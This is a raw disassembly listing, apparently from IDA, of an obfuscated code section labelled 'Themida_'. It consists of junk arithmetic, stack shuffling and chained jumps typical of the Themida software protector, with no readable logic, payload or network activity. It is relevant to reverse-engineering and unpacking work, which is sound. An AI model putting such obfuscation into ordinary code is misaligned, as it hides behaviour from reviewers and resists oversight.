		mov	edx, 138A77C1h
		push	ebp
		jmp	loc_55FD00
; ---------------------------------------------------------------------------
word_55276A	dw 2489h		; CODE XREF: Themida_:0055564Bj
; ---------------------------------------------------------------------------
		and	al, 53h
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_562621
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1434h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	2513h
		mov	[esp], eax
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		pop	ebx
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_564E98
; ---------------------------------------------------------------------------


loc_5527C3:				; CODE XREF: Themida_:0055C28Fj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	7470h
		mov	[esp], ebx
		mov	ebx, 4DFD525Ch
		push	edx
		push	edi
		push	36270C36h
		pop	edi
		sub	edi, 513841D2h
		push	esi
		mov	esi, 7C044F04h
		xor	esi, 57874E49h
		jmp	loc_55D202
; ---------------------------------------------------------------------------


loc_552803:				; CODE XREF: Themida_:00558FDEj
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55EB80
; ---------------------------------------------------------------------------


loc_552816:				; CODE XREF: Themida_:0055C03Dj
		push	7443h
		mov	[esp], eax
		jmp	loc_551ED9
; ---------------------------------------------------------------------------


loc_552823:				; CODE XREF: Themida_:00559DA0j
		mov	esp, [esp]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55282B:				; CODE XREF: Themida_:00556EB6j
		push	ebp
		push	2
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_565B11
; ---------------------------------------------------------------------------


loc_55283C:				; CODE XREF: Themida_:00563D95j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	esi, [esp]
		jmp	loc_55A305
; ---------------------------------------------------------------------------


loc_552851:				; CODE XREF: Themida_:00564193j
		sub	dword ptr [esp+4], 39035DBEh
		jmp	loc_55D706
; ---------------------------------------------------------------------------


loc_55285E:				; CODE XREF: Themida_:0055966Cj
		shl	eax, 8
		push	ebx
		push	eax
		mov	eax, 25FB42C6h
		jmp	loc_564BD6
; ---------------------------------------------------------------------------


loc_55286D:				; CODE XREF: Themida_:00554D6Fj
		sub	al, 8Ch
		add	al, bh
		add	al, 8Ch
		sub	al, 73h
		pop	ebx
		jmp	loc_5580AB
; ---------------------------------------------------------------------------


loc_55287B:				; CODE XREF: Themida_:00556E48j
		mov	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5622C6
; ---------------------------------------------------------------------------


loc_55288C:				; CODE XREF: Themida_:00558F67j
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		sub	[esp], eax
		jmp	loc_55956B
; ---------------------------------------------------------------------------


loc_55289E:				; CODE XREF: Themida_:00552663j
		push	dword ptr [esp+4]
		jmp	loc_55A19C
; ---------------------------------------------------------------------------


loc_5528A7:				; CODE XREF: Themida_:00554F12j
		neg	dh
		inc	dh
		neg	dh
		add	dh, 0D6h
		sub	bh, dh
		jmp	loc_554B6A
; ---------------------------------------------------------------------------


loc_5528B7:				; CODE XREF: Themida_:0055539Fj
		xchg	esi, [esp]
		jmp	loc_55BE88
; ---------------------------------------------------------------------------


loc_5528BF:				; CODE XREF: Themida_:0055176Cj
		mov	esi, [esp]
		jmp	loc_558E42
; ---------------------------------------------------------------------------


loc_5528C7:				; CODE XREF: Themida_:0055AC88j
		xchg	eax, [esp]
		jmp	loc_56182D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2BDDh
		mov	[esp], edi
		jmp	loc_554A3B
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_5506F3
; ---------------------------------------------------------------------------


loc_5528E6:				; CODE XREF: Themida_:005594CCj
		mov	[esp], eax
		mov	eax, 5EAA3069h
		inc	eax
		add	eax, 0FFFFFFFFh
		push	ecx
		mov	ecx, 5EAA306Dh
		xor	eax, ecx
		pop	ecx
		add	ebp, eax
		jmp	loc_55BF81
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	4913h
		mov	[esp], esi
		push	8D1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_560706
; ---------------------------------------------------------------------------


loc_552920:				; CODE XREF: Themida_:0056249Dj
		add	ecx, 19473160h
		jmp	loc_5507F2
; ---------------------------------------------------------------------------


loc_55292B:				; CODE XREF: Themida_:00554766j
		pop	esi
		push	16ECh
		mov	[esp], eax
		push	edi
		push	795F0565h
		pop	edi
		xor	edi, 7C9364D8h
		mov	eax, edi
		pop	edi
		inc	eax
		sub	eax, 0E38F5899h
		sub	edx, eax
		pop	eax
		sub	edx, 1AF05CEAh
		sub	esi, 506154ABh
		sub	esi, 10826C87h
		add	esi, edx
		add	esi, 10826C87h
		jmp	loc_561A2C
; ---------------------------------------------------------------------------


loc_55296C:				; CODE XREF: Themida_:00554C78j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_563F9E
; ---------------------------------------------------------------------------


loc_552978:				; CODE XREF: Themida_:00563E1Dj
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 95D5234h
		neg	esi
		push	edi
		mov	edi, 27BA6316h
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 580317D1h
		and	edi, 63627DFAh
		push	eax
		jmp	loc_550743
; ---------------------------------------------------------------------------


loc_55299E:				; CODE XREF: Themida_:00555C7Bj
		mov	eax, 0ADE77F7h
		xor	eax, 23E25A74h
		inc	eax
		jmp	loc_55ED83
; ---------------------------------------------------------------------------


loc_5529AE:				; CODE XREF: Themida_:0055DE53j
		mov	edx, [esp]
		add	esp, 4
		add	al, 32h
		sub	al, bl
		sub	al, 32h
		push	7281h
		mov	[esp], edx
		push	ebx
		push	edx
		mov	dh, 8Eh
		mov	bh, 88h
		sub	bh, dh
		pop	edx
		mov	dl, bh
		pop	ebx
		neg	dl
		sub	esp, 4
		jmp	loc_55104C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_563666
; ---------------------------------------------------------------------------


loc_5529F0:				; CODE XREF: Themida_:00562C34j
		xchg	ebx, edx
		jmp	loc_55BAB0
; ---------------------------------------------------------------------------


loc_5529F7:				; CODE XREF: Themida_:0055DFE3j
		pop	edi
		add	ecx, ebp
		jmp	loc_561EF6
; ---------------------------------------------------------------------------


loc_5529FF:				; CODE XREF: Themida_:00552E3Cj
		push	ebp
		push	86653F8h
		pop	ebp
		shr	ebp, 4
		push	esi
		mov	esi, 86653Bh
		sub	ebp, esi
		pop	esi
		add	esi, 559C582Eh
		add	esi, ebp
		sub	esi, 559C582Eh
		mov	ebp, [esp]
		jmp	loc_559285
; ---------------------------------------------------------------------------


loc_552A28:				; CODE XREF: Themida_:005552DFj
		pop	dx
		push	ebx
		mov	bl, 40h
		push	dx
		mov	dl, 0EBh
		jmp	loc_558FE3
; ---------------------------------------------------------------------------


loc_552A36:				; CODE XREF: Themida_:00554D9Cj
		pop	edx
		push	ecx
		jmp	loc_554F8F
; ---------------------------------------------------------------------------


loc_552A3D:				; CODE XREF: Themida_:0055D622j
		add	edi, 338B1AAAh
		jmp	loc_553519
; ---------------------------------------------------------------------------


loc_552A48:				; CODE XREF: Themida_:00553AE9j
		mov	edx, 1D17744Eh
		add	ecx, edx
		pop	edx
		jmp	loc_5550E9
; ---------------------------------------------------------------------------


loc_552A55:				; CODE XREF: Themida_:00552EEFj
		pop	dword ptr [esp]
		not	ebx
		jmp	loc_554CD5
; ---------------------------------------------------------------------------


loc_552A5F:				; CODE XREF: Themida_:005642D7j
		mov	bh, 85h
		and	dl, bh
		pop	ebx
		add	dl, 0FFh
		inc	dl
		sub	dl, 0A9h
		sub	al, dl
		jmp	loc_5630C3
; ---------------------------------------------------------------------------


loc_552A73:				; CODE XREF: Themida_:00558862j
		shr	edi, 4
		sub	edi, 23D34AFh
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555BB4
; ---------------------------------------------------------------------------


loc_552A89:				; CODE XREF: Themida_:005651FFj
		push	ecx
		mov	ecx, 49B4685Dh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2534383Dh
		add	dword ptr [esp+8], 26A43B2Fh
		jmp	loc_555AD8
; ---------------------------------------------------------------------------


loc_552AA7:				; CODE XREF: Themida_:0055DC87j
		pop	ecx
		sub	al, 6Eh
		jmp	loc_55D405
; ---------------------------------------------------------------------------


loc_552AAF:				; CODE XREF: Themida_:00565981j
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		imul	cl
		jmp	loc_55CAFB
; ---------------------------------------------------------------------------


loc_552ABD:				; CODE XREF: Themida_:005624E9j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_55FC9E
; ---------------------------------------------------------------------------


loc_552AD8:				; CODE XREF: Themida_:00559795j
		pop	ebx
		mov	ch, al
		mov	eax, [esp]
		jmp	loc_5514EC
; ---------------------------------------------------------------------------


loc_552AE3:				; CODE XREF: Themida_:0055F83Bj
		dec	eax
		jmp	loc_55CA39
; ---------------------------------------------------------------------------


loc_552AE9:				; CODE XREF: Themida_:0055DC52j
		mov	edi, 598C54DAh
		sub	edi, ebx
		pop	ebx
		add	esi, edi
		jmp	loc_5539F9
; ---------------------------------------------------------------------------


loc_552AF8:				; CODE XREF: Themida_:0055ED8Cj
		pop	ecx
		add	edi, eax
		pop	eax
		jmp	loc_5564C5
; ---------------------------------------------------------------------------


loc_552B01:				; CODE XREF: Themida_:00553DFBj
		pop	eax
		add	ecx, edx
		mov	[ecx], ebp
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		sub	[edx+38h], ebx
		pop	ebx


loc_552B14:				; CODE XREF: Themida_:00553446j
		push	59EFh
		mov	[esp], esi
		jmp	loc_55C5A1
; ---------------------------------------------------------------------------


loc_552B21:				; CODE XREF: Themida_:00557B0Fj
		push	320Ch
		mov	[esp], esi
		jmp	loc_55F3B1
; ---------------------------------------------------------------------------


loc_552B2E:				; CODE XREF: Themida_:0055C437j
		mov	[edi+20h], esi
		jmp	loc_5601D8
; ---------------------------------------------------------------------------


loc_552B36:				; CODE XREF: Themida_:00563620j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_550619
; ---------------------------------------------------------------------------


loc_552B44:				; CODE XREF: Themida_:005571CDj
		pop	ebx
		push	esi
		push	6131h
		jmp	loc_55A74E
; ---------------------------------------------------------------------------


loc_552B50:				; CODE XREF: Themida_:00554E56j
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 4
		sub	ecx, 46D856C2h
		jmp	loc_55E792
; ---------------------------------------------------------------------------


loc_552B64:				; CODE XREF: Themida_:0055F860j
		add	edi, eax
		pop	eax
		add	esi, 324D7944h
		add	esi, edi
		jmp	loc_55519A
; ---------------------------------------------------------------------------


loc_552B74:				; CODE XREF: Themida_:005568E7j
		push	2BC6h
		jmp	loc_55AD96
; ---------------------------------------------------------------------------


loc_552B7E:				; CODE XREF: Themida_:00561E05j
		add	esp, 4
		jmp	loc_565B4F
; ---------------------------------------------------------------------------


loc_552B89:				; CODE XREF: Themida_:00551E04j
		push	ebx
		jmp	loc_55C94D
; ---------------------------------------------------------------------------


loc_552B8F:				; CODE XREF: Themida_:0055E3CDj
		add	ecx, 0C6540026h
		sub	esi, 77E23ABDh
		sub	esi, ecx
		add	esi, 77E23ABDh
		jmp	loc_56523C
; ---------------------------------------------------------------------------


loc_552BA8:				; CODE XREF: Themida_:00551339j
		xor	edx, ecx
		pop	ecx
		sub	edi, 248A3DACh
		push	esi
		jmp	loc_558D7A
; ---------------------------------------------------------------------------


loc_552BB7:				; CODE XREF: Themida_:005571F2j
		pop	edx
		mov	dl, al
		pop	eax
		jmp	loc_55BB7F
; ---------------------------------------------------------------------------


loc_552BC0:				; CODE XREF: Themida_:00556F25j
		push	ecx
		mov	ecx, 4E316E6h
		and	ecx, 607F108Eh
		jmp	loc_55C95D
; ---------------------------------------------------------------------------


loc_552BD1:				; CODE XREF: Themida_:00558B9Ej
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556129
; ---------------------------------------------------------------------------


loc_552BDC:				; CODE XREF: Themida_:00551B2Cj
		add	esp, 4
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559968
; ---------------------------------------------------------------------------


loc_552BEA:				; CODE XREF: Themida_:00562A38j
		mov	ecx, 600F5C72h
		jmp	loc_5524D0
; ---------------------------------------------------------------------------


loc_552BF4:				; CODE XREF: Themida_:00564FCEj
		mov	ecx, 4
		jmp	loc_5645A6
; ---------------------------------------------------------------------------


loc_552BFE:				; CODE XREF: Themida_:00564E16j
		sub	dh, 0E5h
		jmp	loc_550DF6
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_559408
; ---------------------------------------------------------------------------


loc_552C0C:				; CODE XREF: Themida_:00553BE2j
		shr	ebp, 5
		jmp	loc_561959
; ---------------------------------------------------------------------------


loc_552C14:				; CODE XREF: Themida_:00550D65j
		mov	ecx, [esp]
		jmp	loc_55EB4C
; ---------------------------------------------------------------------------


loc_552C1C:				; CODE XREF: Themida_:00553A7Aj
		xchg	ecx, ebp
		add	ebp, 79756F6Ch
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		not	edi
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 169705F0h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		and	eax, ebx
		jmp	loc_560256
; ---------------------------------------------------------------------------


loc_552C5C:				; CODE XREF: Themida_:00552CEBj
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_557079
; ---------------------------------------------------------------------------


loc_552C6A:				; CODE XREF: Themida_:005563B9j
		mov	esi, 74E76EB3h
		neg	esi
		jmp	loc_5517A0
; ---------------------------------------------------------------------------


loc_552C76:				; CODE XREF: Themida_:0055C5BDj
		add	edx, 33F71A71h
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_562116
; ---------------------------------------------------------------------------


loc_552C8B:				; CODE XREF: Themida_:0056084Fj
		and	eax, 73783B49h
		shr	eax, 8
		neg	eax
		sub	eax, 0D2FD1F09h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5635C5
; ---------------------------------------------------------------------------


loc_552CA8:				; CODE XREF: Themida_:00562707j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55EA71
; ---------------------------------------------------------------------------


loc_552CB3:				; CODE XREF: Themida_:0056386Bj
		sub	esi, 59E52743h
		push	esi
		jmp	loc_5546F4
; ---------------------------------------------------------------------------


loc_552CBF:				; CODE XREF: Themida_:00556464j
		mov	[esp], bx
		push	eax
		jmp	loc_560441
; ---------------------------------------------------------------------------


loc_552CC9:				; CODE XREF: Themida_:0055D17Aj
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, cl
		mov	dl, bh
		pop	ebx
		mov	bh, dl
		pop	edx
		push	edx
		mov	dh, bh
		jmp	loc_55168A
; ---------------------------------------------------------------------------


loc_552CE3:				; CODE XREF: Themida_:0055571Bj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_552C5C
; ---------------------------------------------------------------------------


loc_552CF0:				; CODE XREF: Themida_:00558A59j
		mov	edx, 76E16360h
		push	ebp
		jmp	loc_563E8F
; ---------------------------------------------------------------------------


loc_552CFB:				; CODE XREF: Themida_:00564FBDj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55A7A6
; ---------------------------------------------------------------------------


loc_552D11:				; CODE XREF: Themida_:005609EBj
		xor	bx, ax
		movzx	eax, ax
		push	small 5FFFh
		mov	[esp], ax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_552D24:				; CODE XREF: Themida_:0055F279j
		xor	eax, esi
		mov	esi, [esp]
		push	ebp
		jmp	loc_558083
; ---------------------------------------------------------------------------


loc_552D2F:				; CODE XREF: Themida_:00558292j
		add	esp, 4
		or	eax, 63633E0Ch
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_563BF3
; ---------------------------------------------------------------------------


loc_552D42:				; CODE XREF: Themida_:00554FB9j
		sub	ebx, 476B7169h
		add	ebx, esi
		add	ebx, 476B7169h
		jmp	loc_5514BF
; ---------------------------------------------------------------------------


loc_552D55:				; CODE XREF: Themida_:00560CF3j
		add	edi, esi
		pop	esi
		push	esi
		push	ebp
		mov	ebp, 0AD651B2h
		or	ebp, 1FC45E28h
		and	ebp, 27956F6Ah
		add	ebp, 3B8E14A1h
		jmp	loc_55AC06
; ---------------------------------------------------------------------------


loc_552D76:				; CODE XREF: Themida_:00561267j
		xor	eax, edx
		pop	edx
		mov	ebp, eax
		pop	eax
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		mov	edx, 6FFD5B91h
		jmp	loc_5532DD
; ---------------------------------------------------------------------------


loc_552D93:				; CODE XREF: Themida_:005553C1j
		push	esi
		push	3A872B56h
		jmp	loc_559656
; ---------------------------------------------------------------------------


loc_552D9E:				; CODE XREF: Themida_:00565416j
		push	ecx
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		pop	ebp
		sub	eax, 6EA02EEh
		add	eax, ecx
		sub	esp, 4
		jmp	loc_56584D
; ---------------------------------------------------------------------------


loc_552DB7:				; CODE XREF: Themida_:00550EA2j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_552DBC:				; CODE XREF: Themida_:00559E1Fj
		sub	esi, ebp
		add	esi, 56625B3h
		sub	esi, 0F7A343Bh
		pop	ebp
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55093D
; ---------------------------------------------------------------------------


loc_552DD6:				; CODE XREF: Themida_:00563D39j
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_552DE1:				; CODE XREF: Themida_:0055F41Ej
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_55AEF2
; ---------------------------------------------------------------------------


loc_552DFD:				; CODE XREF: Themida_:005560F3j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55A0A3
; ---------------------------------------------------------------------------


loc_552E0D:				; CODE XREF: Themida_:0055C8C2j
		mov	[esp], ecx
		mov	ecx, 4BEA415Bh
		add	ecx, 8880E80h
		push	0
		sub	[esp], ecx
		jmp	loc_559E7D
; ---------------------------------------------------------------------------


loc_552E28:				; CODE XREF: Themida_:0055F6C0j
		mov	[esp], ebx
		mov	ebx, 68D2324Ah
		push	ebx
		pop	ecx
		jmp	loc_557FC9
; ---------------------------------------------------------------------------


loc_552E37:				; CODE XREF: Themida_:00560BB1j
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_5529FF
; ---------------------------------------------------------------------------


loc_552E41:				; CODE XREF: Themida_:00563063j
		pop	ebx
		push	small 32CCh
		mov	[esp], dx
		jmp	loc_55772D
; ---------------------------------------------------------------------------


loc_552E4F:				; CODE XREF: Themida_:0055A4C7j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		jmp	loc_564893
; ---------------------------------------------------------------------------


loc_552E69:				; CODE XREF: Themida_:005603D4j
		or	cl, 68h
		add	cl, 84h
		add	al, cl
		jmp	loc_55C3AD
; ---------------------------------------------------------------------------


loc_552E76:				; CODE XREF: Themida_:00559041j
		add	eax, ecx
		pop	ecx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		jmp	loc_55C1E1
; ---------------------------------------------------------------------------


loc_552E95:				; CODE XREF: Themida_:0055A175j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5583FB
; ---------------------------------------------------------------------------


loc_552EA0:				; CODE XREF: Themida_:00561872j
		mov	al, 0C7h
		jmp	loc_557833
; ---------------------------------------------------------------------------


loc_552EA7:				; CODE XREF: Themida_:0055A5EAj
		mov	ecx, 353D39DEh
		xor	ecx, 5B3F5D0Dh
		jmp	loc_561015
; ---------------------------------------------------------------------------


loc_552EB7:				; CODE XREF: Themida_:0055C665j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_558481
; ---------------------------------------------------------------------------


loc_552ECA:				; CODE XREF: Themida_:0055ACD0j
		xchg	edi, [esp]
		jmp	loc_558AAF
; ---------------------------------------------------------------------------


loc_552ED2:				; CODE XREF: Themida_:00564B62j
		shl	edx, 1
		sub	edx, 21694FE0h
		jmp	loc_5602C6
; ---------------------------------------------------------------------------


loc_552EDF:				; CODE XREF: Themida_:0055AEDDj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552A55
; ---------------------------------------------------------------------------


loc_552EF4:				; CODE XREF: Themida_:00552154j
		mov	ecx, 77D57B7Ch
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	79F3h
		mov	[esp], edi
		jmp	loc_55D795
; ---------------------------------------------------------------------------


loc_552F11:				; CODE XREF: Themida_:0055BAC6j
		add	ebx, ebp
		jmp	loc_5634AE
; ---------------------------------------------------------------------------


loc_552F18:				; CODE XREF: Themida_:0055C17Ej
		add	esp, 4
		push	edi
		mov	edi, 3B365283h
		sub	ecx, 6C82041Dh
		add	ecx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6C82041Dh
		add	ecx, eax
		pop	eax
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_55C83B
; ---------------------------------------------------------------------------


loc_552F43:				; CODE XREF: Themida_:00556133j
		sub	edx, 5BA439C0h
		push	edi
		mov	edi, 5BF4786Eh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55AEFD
; ---------------------------------------------------------------------------


loc_552F5D:				; CODE XREF: Themida_:00559E33j
		mov	dh, 7Ch
		push	eax
		mov	al, 0E8h
		sub	al, 85h
		jmp	loc_55A7F7
; ---------------------------------------------------------------------------


loc_552F69:				; CODE XREF: Themida_:00558262j
		xor	eax, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		push	5E6Eh
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_55251E
; ---------------------------------------------------------------------------


loc_552F9E:				; CODE XREF: Themida_:00565894j
		sub	ebx, 126B0B51h
		add	ebx, ebp
		sub	esp, 4
		jmp	loc_55C744
; ---------------------------------------------------------------------------


loc_552FB1:				; CODE XREF: Themida_:005657A3j
		push	eax
		jmp	loc_556BBB
; ---------------------------------------------------------------------------


loc_552FB7:				; CODE XREF: Themida_:0055D28Bj
		shr	edi, 6
		push	ebp
		mov	ebp, 5FB765B6h
		add	edi, 40A73257h
		add	edi, ebp
		sub	edi, 40A73257h
		pop	ebp
		neg	edi
		push	0
		push	edi
		mov	edi, 659963FDh
		add	[esp+4], edi
		jmp	loc_5540AA
; ---------------------------------------------------------------------------


loc_552FE5:				; CODE XREF: Themida_:0055EDE9j
		push	2D2Eh
		mov	[esp], edx
		xchg	eax, [esp]
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	416Eh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_550827
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	6FF7h
		mov	[esp], ecx
		push	esp
		jmp	loc_55E0FE
; ---------------------------------------------------------------------------


loc_55302B:				; CODE XREF: Themida_:00556902j
		mov	[esp], eax
		push	7A93h
		mov	[esp], ecx
		jmp	loc_56253B
; ---------------------------------------------------------------------------


loc_55303B:				; CODE XREF: Themida_:0055F29Dj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 213632ADh
		inc	ecx
		or	ecx, 2C8A47DEh
		and	ecx, 7E593DF1h
		shl	ecx, 5
		or	ecx, 4A0A43EAh
		push	edx
		mov	edx, 2E88048Dh
		not	edx
		neg	edx
		xor	edx, 30223755h
		and	edx, 2DD0471Eh
		jmp	loc_5511BB
; ---------------------------------------------------------------------------


loc_553078:				; CODE XREF: Themida_:0055D7C6j
		add	esp, 4
		jmp	loc_55E77D
; ---------------------------------------------------------------------------


loc_553083:				; CODE XREF: Themida_:00551585j
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55E1D0
; ---------------------------------------------------------------------------


loc_55309A:				; CODE XREF: Themida_:00556DC7j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55309F:				; CODE XREF: Themida_:005543EAj
		pop	ecx
		push	ebx
		jmp	loc_5622B3
; ---------------------------------------------------------------------------


loc_5530A6:				; CODE XREF: Themida_:0055E516j
		mov	[esp], dx
		jmp	loc_564871
; ---------------------------------------------------------------------------


loc_5530AF:				; CODE XREF: Themida_:00555294j
		shr	esi, 6
		xor	esi, 422A1E2Ch
		add	ebx, esi
		pop	esi
		add	ebx, eax
		jmp	loc_555E87
; ---------------------------------------------------------------------------


loc_5530C2:				; CODE XREF: Themida_:00565A28j
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_5530CF:				; CODE XREF: Themida_:0055D147j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 892439h
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55D673
; ---------------------------------------------------------------------------


loc_5530FE:				; CODE XREF: Themida_:0055A1A2j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_561223
; ---------------------------------------------------------------------------


loc_553117:				; CODE XREF: Themida_:0055E9D0j
		push	eax
		jmp	loc_564C6D
; ---------------------------------------------------------------------------


loc_55311D:				; CODE XREF: Themida_:00557561j
		add	ebx, 2E977E3Bh
		add	ebx, eax
		sub	ebx, 2E977E3Bh
		pop	eax
		sub	ebx, 0D371B17h
		pop	eax
		jmp	loc_55762A
; ---------------------------------------------------------------------------


loc_553138:				; CODE XREF: Themida_:005573B0j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_560632
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5548AD
; ---------------------------------------------------------------------------


loc_553151:				; CODE XREF: Themida_:00562416j
		add	eax, edi
		pop	edi
		push	eax
		xor	dword ptr [esp], 1A427B0Ch
		pop	edi
		xor	edi, 1A427B0Ch
		pop	eax
		push	ebx
		jmp	loc_55B981
; ---------------------------------------------------------------------------


loc_55316A:				; CODE XREF: Themida_:0056027Fj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55C71F
; ---------------------------------------------------------------------------


loc_553173:				; CODE XREF: Themida_:0055BD29j
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		xor	[esp+4], edi
		jmp	loc_562A62
; ---------------------------------------------------------------------------


loc_55318E:				; CODE XREF: Themida_:0055D334j
		sub	esp, 4
		jmp	loc_551A4A
; ---------------------------------------------------------------------------


loc_553196:				; CODE XREF: Themida_:00556BEBj
		push	23CBh
		jmp	loc_564AD7
; ---------------------------------------------------------------------------


loc_5531A0:				; CODE XREF: Themida_:005603AFj
		not	dword ptr [esp]
		jmp	loc_55796A
; ---------------------------------------------------------------------------


loc_5531A8:				; CODE XREF: Themida_:0055228Cj
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_555F71
; ---------------------------------------------------------------------------


loc_5531C1:				; CODE XREF: Themida_:0056139Ej
		mov	[esp], esi
		jmp	loc_556469
; ---------------------------------------------------------------------------


loc_5531C9:				; CODE XREF: Themida_:0055E527j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_559898
; ---------------------------------------------------------------------------


loc_5531DC:				; CODE XREF: Themida_:005641B5j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_550AEC
; ---------------------------------------------------------------------------


loc_5531E9:				; CODE XREF: Themida_:0055C594j
		push	2538h
		push	7ABAh
		jmp	loc_556D91
; ---------------------------------------------------------------------------


loc_5531F8:				; CODE XREF: Themida_:0055AF57j
		mov	edx, 1A160AC0h
		add	edx, edi
		pop	edi
		jmp	loc_55FE07
; ---------------------------------------------------------------------------


loc_553205:				; CODE XREF: Themida_:0055C00Ej
		neg	ebp
		jmp	loc_55F629
; ---------------------------------------------------------------------------


